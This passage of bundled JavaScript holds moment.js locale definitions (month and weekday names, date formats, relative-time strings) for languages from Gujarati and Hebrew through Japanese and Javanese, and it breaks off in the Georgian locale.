dow: 1, - doy: 4 - }, - meridiemParse: /rati|sokalli|donparam|sanje/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "rati") { - return e < 4 ? e : e + 12 - } else if (t === "sokalli") { - return e - } else if (t === "donparam") { - return e > 12 ? e : e + 12 - } else if (t === "sanje") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "rati" - } else if (e < 12) { - return "sokalli" - } else if (e < 16) { - return "donparam" - } else if (e < 20) { - return "sanje" - } else { - return "rati" - } - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "૧", - 2: "૨", - 3: "૩", - 4: "૪", - 5: "૫", - 6: "૬", - 7: "૭", - 8: "૮", - 9: "૯", - 0: "૦" - }, - i = { - "૧": "1", - "૨": "2", - "૩": "3", - "૪": "4", - "૫": "5", - "૬": "6", - "૭": "7", - "૮": "8", - "૯": "9", - "૦": "0" - }; - var n = e.defineLocale("gu", { - months: "જાન્યુઆરી_ફેબ્રુઆરી_માર્ચ_એપ્રિલ_મે_જૂન_જુલાઈ_ઑગસ્ટ_સપ્ટેમ્બર_ઑક્ટ્બર_નવેમ્બર_ડિસેમ્બર".split("_"), - monthsShort: "જાન્યુ._ફેબ્રુ._માર્ચ_એપ્રિ._મે_જૂન_જુલા._ઑગ._સપ્ટે._ઑક્ટ્._નવે._ડિસે.".split("_"), - monthsParseExact: true, - weekdays: "રવિવાર_સોમવાર_મંગળવાર_બુધ્વાર_ગુરુવાર_શુક્રવાર_શનિવાર".split("_"), - weekdaysShort: "રવિ_સોમ_મંગળ_બુધ્_ગુરુ_શુક્ર_શનિ".split("_"), - weekdaysMin: "ર_સો_મં_બુ_ગુ_શુ_શ".split("_"), - longDateFormat: { - LT: "A h:mm વાગ્યે", - LTS: "A h:mm:ss વાગ્યે", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, A h:mm વાગ્યે", - LLLL: "dddd, D MMMM YYYY, A h:mm વાગ્યે" - }, - calendar: { - sameDay: "[આજ] LT", - nextDay: "[કાલે] LT", - nextWeek: "dddd, LT", - lastDay: "[ગઇકાલે] LT", - lastWeek: "[પાછલા] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%s મા", - past: "%s પેહલા", - s: "અમુક પળો", - ss: "%d સેકંડ", - m: "એક મિનિટ", - mm: "%d મિનિટ", - h: "એક કલાક", - hh: "%d કલાક", - d: "એક દિવસ", - dd: "%d દિવસ", - M: "એક મહિનો", - MM: "%d મહિનો", - y: "એક વર્ષ", - yy: "%d વર્ષ" - }, - preparse: function (e) { - return e.replace(/[૧૨૩૪૫૬૭૮૯૦]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - meridiemParse: /રાત|બપોર|સવાર|સાંજ/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "રાત") { - return e < 4 ? e : e + 12 - } else if (t === "સવાર") { - return e - } else if (t === "બપોર") { - return e >= 10 ? e : e + 12 - } else if (t === "સાંજ") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "રાત" - } else if (e < 10) { - return "સવાર" - } else if (e < 17) { - return "બપોર" - } else if (e < 20) { - return "સાંજ" - } else { - return "રાત" - } - }, - week: { - dow: 0, - doy: 6 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("he", { - months: "ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר".split("_"), - monthsShort: "ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳".split("_"), - weekdays: "ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת".split("_"), - weekdaysShort: "א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳".split("_"), - weekdaysMin: "א_ב_ג_ד_ה_ו_ש".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D [ב]MMMM YYYY", - LLL: "D [ב]MMMM YYYY HH:mm", - LLLL: "dddd, D [ב]MMMM YYYY HH:mm", - l: "D/M/YYYY", - ll: "D MMM YYYY", - lll: "D MMM YYYY HH:mm", - llll: "ddd, D MMM YYYY HH:mm" - }, - calendar: { - sameDay: "[היום ב־]LT", - nextDay: "[מחר ב־]LT", - nextWeek: "dddd [בשעה] LT", - lastDay: "[אתמול ב־]LT", - lastWeek: "[ביום] dddd [האחרון בשעה] LT", - sameElse: "L" - }, - relativeTime: { - future: "בעוד %s", - past: "לפני %s", - s: "מספר שניות", - ss: "%d שניות", - m: "דקה", - mm: "%d דקות", - h: "שעה", - hh: function (e) { - if (e === 2) { - return "שעתיים" - } - return e + " שעות" - }, - d: "יום", - dd: function (e) { - if (e === 2) { - return "יומיים" - } - return e + " ימים" - }, - M: "חודש", - MM: function (e) { - if (e === 2) { - return "חודשיים" - } - return e + " חודשים" - }, - y: "שנה", - yy: function (e) { - if (e === 2) { - return "שנתיים" - } else if (e % 10 === 0 && e !== 10) { - return e + " שנה" - } - return e + " שנים" - } - }, - meridiemParse: /אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i, - isPM: function (e) { - return /^(אחה"צ|אחרי הצהריים|בערב)$/.test(e) - }, - meridiem: function (e, t, i) { - if (e < 5) { - return "לפנות בוקר" - } else if (e < 10) { - return "בבוקר" - } else if (e < 12) { - return i ? 'לפנה"צ' : "לפני הצהריים" - } else if (e < 18) { - return i ? 'אחה"צ' : "אחרי הצהריים" - } else { - return "בערב" - } - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "१", - 2: "२", - 3: "३", - 4: "४", - 5: "५", - 6: "६", - 7: "७", - 8: "८", - 9: "९", - 0: "०" - }, - i = { - "१": "1", - "२": "2", - "३": "3", - "४": "4", - "५": "5", - "६": "6", - "७": "7", - "८": "8", - "९": "9", - "०": "0" - }; - var n = e.defineLocale("hi", { - months: "जनवरी_फ़रवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितम्बर_अक्टूबर_नवम्बर_दिसम्बर".split("_"), - monthsShort: "जन._फ़र._मार्च_अप्रै._मई_जून_जुल._अग._सित._अक्टू._नव._दिस.".split("_"), - monthsParseExact: true, - weekdays: "रविवार_सोमवार_मंगलवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"), - weekdaysShort: "रवि_सोम_मंगल_बुध_गुरू_शुक्र_शनि".split("_"), - weekdaysMin: "र_सो_मं_बु_गु_शु_श".split("_"), - longDateFormat: { - LT: "A h:mm बजे", - LTS: "A h:mm:ss बजे", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, A h:mm बजे", - LLLL: "dddd, D MMMM YYYY, A h:mm बजे" - }, - calendar: { - sameDay: "[आज] LT", - nextDay: "[कल] LT", - nextWeek: "dddd, LT", - lastDay: "[कल] LT", - lastWeek: "[पिछले] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%s में", - past: "%s पहले", - s: "कुछ ही क्षण", - ss: "%d सेकंड", - m: "एक मिनट", - mm: "%d मिनट", - h: "एक घंटा", - hh: "%d घंटे", - d: "एक दिन", - dd: "%d दिन", - M: "एक महीने", - MM: "%d महीने", - y: "एक वर्ष", - yy: "%d वर्ष" - }, - preparse: function (e) { - return e.replace(/[१२३४५६७८९०]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - meridiemParse: /रात|सुबह|दोपहर|शाम/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "रात") { - return e < 4 ? e : e + 12 - } else if (t === "सुबह") { - return e - } else if (t === "दोपहर") { - return e >= 10 ? e : e + 12 - } else if (t === "शाम") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "रात" - } else if (e < 10) { - return "सुबह" - } else if (e < 17) { - return "दोपहर" - } else if (e < 20) { - return "शाम" - } else { - return "रात" - } - }, - week: { - dow: 0, - doy: 6 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i) { - var n = e + " "; - switch (i) { - case "ss": - if (e === 1) { - n += "sekunda" - } else if (e === 2 || e === 3 || e === 4) { - n += "sekunde" - } else { - n += "sekundi" - } - return n; - case "m": - return t ? "jedna minuta" : "jedne minute"; - case "mm": - if (e === 1) { - n += "minuta" - } else if (e === 2 || e === 3 || e === 4) { - n += "minute" - } else { - n += "minuta" - } - return n; - case "h": - return t ? "jedan sat" : "jednog sata"; - case "hh": - if (e === 1) { - n += "sat" - } else if (e === 2 || e === 3 || e === 4) { - n += "sata" - } else { - n += "sati" - } - return n; - case "dd": - if (e === 1) { - n += "dan" - } else { - n += "dana" - } - return n; - case "MM": - if (e === 1) { - n += "mjesec" - } else if (e === 2 || e === 3 || e === 4) { - n += "mjeseca" - } else { - n += "mjeseci" - } - return n; - case "yy": - if (e === 1) { - n += "godina" - } else if (e === 2 || e === 3 || e === 4) { - n += "godine" - } else { - n += "godina" - } - return n - } - } - var i = e.defineLocale("hr", { - months: { - format: "siječnja_veljače_ožujka_travnja_svibnja_lipnja_srpnja_kolovoza_rujna_listopada_studenoga_prosinca".split("_"), - standalone: "siječanj_veljača_ožujak_travanj_svibanj_lipanj_srpanj_kolovoz_rujan_listopad_studeni_prosinac".split("_") - }, - monthsShort: "sij._velj._ožu._tra._svi._lip._srp._kol._ruj._lis._stu._pro.".split("_"), - monthsParseExact: true, - weekdays: "nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"), - weekdaysShort: "ned._pon._uto._sri._čet._pet._sub.".split("_"), - weekdaysMin: "ne_po_ut_sr_če_pe_su".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm", - LLLL: "dddd, D. MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[danas u] LT", - nextDay: "[sutra u] LT", - nextWeek: function () { - switch (this.day()) { - case 0: - return "[u] [nedjelju] [u] LT"; - case 3: - return "[u] [srijedu] [u] LT"; - case 6: - return "[u] [subotu] [u] LT"; - case 1: - case 2: - case 4: - case 5: - return "[u] dddd [u] LT" - } - }, - lastDay: "[jučer u] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - case 3: - return "[prošlu] dddd [u] LT"; - case 6: - return "[prošle] [subote] [u] LT"; - case 1: - case 2: - case 4: - case 5: - return "[prošli] dddd [u] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: "za %s", - past: "prije %s", - s: "par sekundi", - ss: t, - m: t, - mm: t, - h: t, - hh: t, - d: "dan", - dd: t, - M: "mjesec", - MM: t, - y: "godinu", - yy: t - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton".split(" "); - - function i(e, t, i, n) { - var r = e; - switch (i) { - case "s": - return n || t ? "néhány másodperc" : "néhány másodperce"; - case "ss": - return r + (n || t) ? " másodperc" : " másodperce"; - case "m": - return "egy" + (n || t ? " perc" : " perce"); - case "mm": - return r + (n || t ? " perc" : " perce"); - case "h": - return "egy" + (n || t ? " óra" : " órája"); - case "hh": - return r + (n || t ? " óra" : " órája"); - case "d": - return "egy" + (n || t ? " nap" : " napja"); - case "dd": - return r + (n || t ? " nap" : " napja"); - case "M": - return "egy" + (n || t ? " hónap" : " hónapja"); - case "MM": - return r + (n || t ? " hónap" : " hónapja"); - case "y": - return "egy" + (n || t ? " év" : " éve"); - case "yy": - return r + (n || t ? " év" : " éve") - } - return "" - } - - function n(e) { - return (e ? "" : "[múlt] ") + "[" + t[this.day()] + "] LT[-kor]" - } - var r = e.defineLocale("hu", { - months: "január_február_március_április_május_június_július_augusztus_szeptember_október_november_december".split("_"), - monthsShort: "jan_feb_márc_ápr_máj_jún_júl_aug_szept_okt_nov_dec".split("_"), - weekdays: "vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat".split("_"), - weekdaysShort: "vas_hét_kedd_sze_csüt_pén_szo".split("_"), - weekdaysMin: "v_h_k_sze_cs_p_szo".split("_"), - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "YYYY.MM.DD.", - LL: "YYYY. MMMM D.", - LLL: "YYYY. MMMM D. H:mm", - LLLL: "YYYY. MMMM D., dddd H:mm" - }, - meridiemParse: /de|du/i, - isPM: function (e) { - return e.charAt(1).toLowerCase() === "u" - }, - meridiem: function (e, t, i) { - if (e < 12) { - return i === true ? "de" : "DE" - } else { - return i === true ? "du" : "DU" - } - }, - calendar: { - sameDay: "[ma] LT[-kor]", - nextDay: "[holnap] LT[-kor]", - nextWeek: function () { - return n.call(this, true) - }, - lastDay: "[tegnap] LT[-kor]", - lastWeek: function () { - return n.call(this, false) - }, - sameElse: "L" - }, - relativeTime: { - future: "%s múlva", - past: "%s", - s: i, - ss: i, - m: i, - mm: i, - h: i, - hh: i, - d: i, - dd: i, - M: i, - MM: i, - y: i, - yy: i - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return r - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("hy-am", { - months: { - format: "հունվարի_փետրվարի_մարտի_ապրիլի_մայիսի_հունիսի_հուլիսի_օգոստոսի_սեպտեմբերի_հոկտեմբերի_նոյեմբերի_դեկտեմբերի".split("_"), - standalone: "հունվար_փետրվար_մարտ_ապրիլ_մայիս_հունիս_հուլիս_օգոստոս_սեպտեմբեր_հոկտեմբեր_նոյեմբեր_դեկտեմբեր".split("_") - }, - monthsShort: "հնվ_փտր_մրտ_ապր_մյս_հնս_հլս_օգս_սպտ_հկտ_նմբ_դկտ".split("_"), - weekdays: "կիրակի_երկուշաբթի_երեքշաբթի_չորեքշաբթի_հինգշաբթի_ուրբաթ_շաբաթ".split("_"), - weekdaysShort: "կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"), - weekdaysMin: "կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY թ.", - LLL: "D MMMM YYYY թ., HH:mm", - LLLL: "dddd, D MMMM YYYY թ., HH:mm" - }, - calendar: { - sameDay: "[այսօր] LT", - nextDay: "[վաղը] LT", - lastDay: "[երեկ] LT", - nextWeek: function () { - return "dddd [օրը ժամը] LT" - }, - lastWeek: function () { - return "[անցած] dddd [օրը ժամը] LT" - }, - sameElse: "L" - }, - relativeTime: { - future: "%s հետո", - past: "%s առաջ", - s: "մի քանի վայրկյան", - ss: "%d վայրկյան", - m: "րոպե", - mm: "%d րոպե", - h: "ժամ", - hh: "%d ժամ", - d: "օր", - dd: "%d օր", - M: "ամիս", - MM: "%d ամիս", - y: "տարի", - yy: "%d տարի" - }, - meridiemParse: /գիշերվա|առավոտվա|ցերեկվա|երեկոյան/, - isPM: function (e) { - return /^(ցերեկվա|երեկոյան)$/.test(e) - }, - meridiem: function (e) { - if (e < 4) { - return "գիշերվա" - } else if (e < 12) { - return "առավոտվա" - } else if (e < 17) { - return "ցերեկվա" - } else { - return "երեկոյան" - } - }, - dayOfMonthOrdinalParse: /\d{1,2}|\d{1,2}-(ին|րդ)/, - ordinal: function (e, t) { - switch (t) { - case "DDD": - case "w": - case "W": - case "DDDo": - if (e === 1) { - return e + "-ին" - } - return e + "-րդ"; - default: - return e - } - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("id", { - months: "Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_November_Desember".split("_"), - monthsShort: "Jan_Feb_Mar_Apr_Mei_Jun_Jul_Agt_Sep_Okt_Nov_Des".split("_"), - weekdays: "Minggu_Senin_Selasa_Rabu_Kamis_Jumat_Sabtu".split("_"), - weekdaysShort: "Min_Sen_Sel_Rab_Kam_Jum_Sab".split("_"), - weekdaysMin: "Mg_Sn_Sl_Rb_Km_Jm_Sb".split("_"), - longDateFormat: { - LT: "HH.mm", - LTS: "HH.mm.ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY [pukul] HH.mm", - LLLL: "dddd, D MMMM YYYY [pukul] HH.mm" - }, - meridiemParse: /pagi|siang|sore|malam/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "pagi") { - return e - } else if (t === "siang") { - return e >= 11 ? e : e + 12 - } else if (t === "sore" || t === "malam") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 11) { - return "pagi" - } else if (e < 15) { - return "siang" - } else if (e < 19) { - return "sore" - } else { - return "malam" - } - }, - calendar: { - sameDay: "[Hari ini pukul] LT", - nextDay: "[Besok pukul] LT", - nextWeek: "dddd [pukul] LT", - lastDay: "[Kemarin pukul] LT", - lastWeek: "dddd [lalu pukul] LT", - sameElse: "L" - }, - relativeTime: { - future: "dalam %s", - past: "%s yang lalu", - s: "beberapa detik", - ss: "%d detik", - m: "semenit", - mm: "%d menit", - h: "sejam", - hh: "%d jam", - d: "sehari", - dd: "%d hari", - M: "sebulan", - MM: "%d bulan", - y: "setahun", - yy: "%d tahun" - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e) { - if (e % 100 === 11) { - return true - } else if (e % 10 === 1) { - return false - } - return true - } - - function i(e, i, n, r) { - var a = e + " "; - switch (n) { - case "s": - return i || r ? "nokkrar sekúndur" : "nokkrum sekúndum"; - case "ss": - if (t(e)) { - return a + (i || r ? "sekúndur" : "sekúndum") - } - return a + "sekúnda"; - case "m": - return i ? "mínúta" : "mínútu"; - case "mm": - if (t(e)) { - return a + (i || r ? "mínútur" : "mínútum") - } else if (i) { - return a + "mínúta" - } - return a + "mínútu"; - case "hh": - if (t(e)) { - return a + (i || r ? "klukkustundir" : "klukkustundum") - } - return a + "klukkustund"; - case "d": - if (i) { - return "dagur" - } - return r ? "dag" : "degi"; - case "dd": - if (t(e)) { - if (i) { - return a + "dagar" - } - return a + (r ? "daga" : "dögum") - } else if (i) { - return a + "dagur" - } - return a + (r ? "dag" : "degi"); - case "M": - if (i) { - return "mánuður" - } - return r ? "mánuð" : "mánuði"; - case "MM": - if (t(e)) { - if (i) { - return a + "mánuðir" - } - return a + (r ? "mánuði" : "mánuðum") - } else if (i) { - return a + "mánuður" - } - return a + (r ? "mánuð" : "mánuði"); - case "y": - return i || r ? "ár" : "ári"; - case "yy": - if (t(e)) { - return a + (i || r ? "ár" : "árum") - } - return a + (i || r ? "ár" : "ári") - } - } - var n = e.defineLocale("is", { - months: "janúar_febrúar_mars_apríl_maí_júní_júlí_ágúst_september_október_nóvember_desember".split("_"), - monthsShort: "jan_feb_mar_apr_maí_jún_júl_ágú_sep_okt_nóv_des".split("_"), - weekdays: "sunnudagur_mánudagur_þriðjudagur_miðvikudagur_fimmtudagur_föstudagur_laugardagur".split("_"), - weekdaysShort: "sun_mán_þri_mið_fim_fös_lau".split("_"), - weekdaysMin: "Su_Má_Þr_Mi_Fi_Fö_La".split("_"), - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY [kl.] H:mm", - LLLL: "dddd, D. MMMM YYYY [kl.] H:mm" - }, - calendar: { - sameDay: "[í dag kl.] LT", - nextDay: "[á morgun kl.] LT", - nextWeek: "dddd [kl.] LT", - lastDay: "[í gær kl.] LT", - lastWeek: "[síðasta] dddd [kl.] LT", - sameElse: "L" - }, - relativeTime: { - future: "eftir %s", - past: "fyrir %s síðan", - s: i, - ss: i, - m: i, - mm: i, - h: "klukkustund", - hh: i, - d: i, - dd: i, - M: i, - MM: i, - y: i, - yy: i - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("it", { - months: "gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"), - monthsShort: "gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"), - weekdays: "domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"), - weekdaysShort: "dom_lun_mar_mer_gio_ven_sab".split("_"), - weekdaysMin: "do_lu_ma_me_gi_ve_sa".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Oggi alle] LT", - nextDay: "[Domani alle] LT", - nextWeek: "dddd [alle] LT", - lastDay: "[Ieri alle] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - return "[la scorsa] dddd [alle] LT"; - default: - return "[lo scorso] dddd [alle] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: function (e) { - return (/^[0-9].+$/.test(e) ? "tra" : "in") + " " + e - }, - past: "%s fa", - s: "alcuni secondi", - ss: "%d secondi", - m: "un minuto", - mm: "%d minuti", - h: "un'ora", - hh: "%d ore", - d: "un giorno", - dd: "%d giorni", - M: "un mese", - MM: "%d mesi", - y: "un anno", - yy: "%d anni" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("it-ch", { - months: "gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"), - monthsShort: "gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"), - weekdays: "domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"), - weekdaysShort: "dom_lun_mar_mer_gio_ven_sab".split("_"), - weekdaysMin: "do_lu_ma_me_gi_ve_sa".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Oggi alle] LT", - nextDay: "[Domani alle] LT", - nextWeek: "dddd [alle] LT", - lastDay: "[Ieri alle] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - return "[la scorsa] dddd [alle] LT"; - default: - return "[lo scorso] dddd [alle] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: function (e) { - return (/^[0-9].+$/.test(e) ? "tra" : "in") + " " + e - }, - past: "%s fa", - s: "alcuni secondi", - ss: "%d secondi", - m: "un minuto", - mm: "%d minuti", - h: "un'ora", - hh: "%d ore", - d: "un giorno", - dd: "%d giorni", - M: "un mese", - MM: "%d mesi", - y: "un anno", - yy: "%d anni" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ja", { - months: "一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"), - monthsShort: "1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"), - weekdays: "日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日".split("_"), - weekdaysShort: "日_月_火_水_木_金_土".split("_"), - weekdaysMin: "日_月_火_水_木_金_土".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY/MM/DD", - LL: "YYYY年M月D日", - LLL: "YYYY年M月D日 HH:mm", - LLLL: "YYYY年M月D日 dddd HH:mm", - l: "YYYY/MM/DD", - ll: "YYYY年M月D日", - lll: "YYYY年M月D日 HH:mm", - llll: "YYYY年M月D日(ddd) HH:mm" - }, - meridiemParse: /午前|午後/i, - isPM: function (e) { - return e === "午後" - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "午前" - } else { - return "午後" - } - }, - calendar: { - sameDay: "[今日] LT", - nextDay: "[明日] LT", - nextWeek: function (e) { - if (e.week() < this.week()) { - return "[来週]dddd LT" - } else { - return "dddd LT" - } - }, - lastDay: "[昨日] LT", - lastWeek: function (e) { - if (this.week() < e.week()) { - return "[先週]dddd LT" - } else { - return "dddd LT" - } - }, - sameElse: "L" - }, - dayOfMonthOrdinalParse: /\d{1,2}日/, - ordinal: function (e, t) { - switch (t) { - case "d": - case "D": - case "DDD": - return e + "日"; - default: - return e - } - }, - relativeTime: { - future: "%s後", - past: "%s前", - s: "数秒", - ss: "%d秒", - m: "1分", - mm: "%d分", - h: "1時間", - hh: "%d時間", - d: "1日", - dd: "%d日", - M: "1ヶ月", - MM: "%dヶ月", - y: "1年", - yy: "%d年" - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("jv", { - months: "Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember".split("_"), - monthsShort: "Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des".split("_"), - weekdays: "Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu".split("_"), - weekdaysShort: "Min_Sen_Sel_Reb_Kem_Jem_Sep".split("_"), - weekdaysMin: "Mg_Sn_Sl_Rb_Km_Jm_Sp".split("_"), - longDateFormat: { - LT: "HH.mm", - LTS: "HH.mm.ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY [pukul] HH.mm", - LLLL: "dddd, D MMMM YYYY [pukul] HH.mm" - }, - meridiemParse: /enjing|siyang|sonten|ndalu/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "enjing") { - return e - } else if (t === "siyang") { - return e >= 11 ? e : e + 12 - } else if (t === "sonten" || t === "ndalu") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 11) { - return "enjing" - } else if (e < 15) { - return "siyang" - } else if (e < 19) { - return "sonten" - } else { - return "ndalu" - } - }, - calendar: { - sameDay: "[Dinten puniko pukul] LT", - nextDay: "[Mbenjang pukul] LT", - nextWeek: "dddd [pukul] LT", - lastDay: "[Kala wingi pukul] LT", - lastWeek: "dddd [kepengker pukul] LT", - sameElse: "L" - }, - relativeTime: { - future: "wonten ing %s", - past: "%s ingkang kepengker", - s: "sawetawis detik", - ss: "%d detik", - m: "setunggal menit", - mm: "%d menit", - h: "setunggal jam", - hh: "%d jam", - d: "sedinten", - dd: "%d dinten", - M: "sewulan", - MM: "%d wulan", - y: "setaun", - yy: "%d taun" - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ka", { - months: { - standalone: "იანვარი_თებერვალი_მარტი_აპრილი_მაისი_ივნისი_ივლისი_აგვისტო_სექტემბერი_ოქტომბერი_ნოემბერი_დეკემბერი".split("_"), - format: "იანვარს_თებერვალს_მარტს_აპრილის_მაისს_ივნისს_ივლისს_აგვისტს_სექტემბერს_ოქტომბერს_ნოემბერს_დეკემბერს".split("_") - }, - monthsShort: "იან_თებ_მარ_აპრ_მაი_ივნ_ივლ_აგვ_სექ_ოქტ_ნოე_დეკ".split("_"), - weekdays: { - standalone: "კვირა_ორშაბათი_სამშაბათი_ოთხშაბათი_ხუთშაბათი_პარასკევი_შაბათი".split("_"), - format: "კვირას_ორშაბათს_სამშაბათს_ოთხშაბათს_ხუთშაბათს_პარასკევს_შაბათს".split("_"), - isFormat: 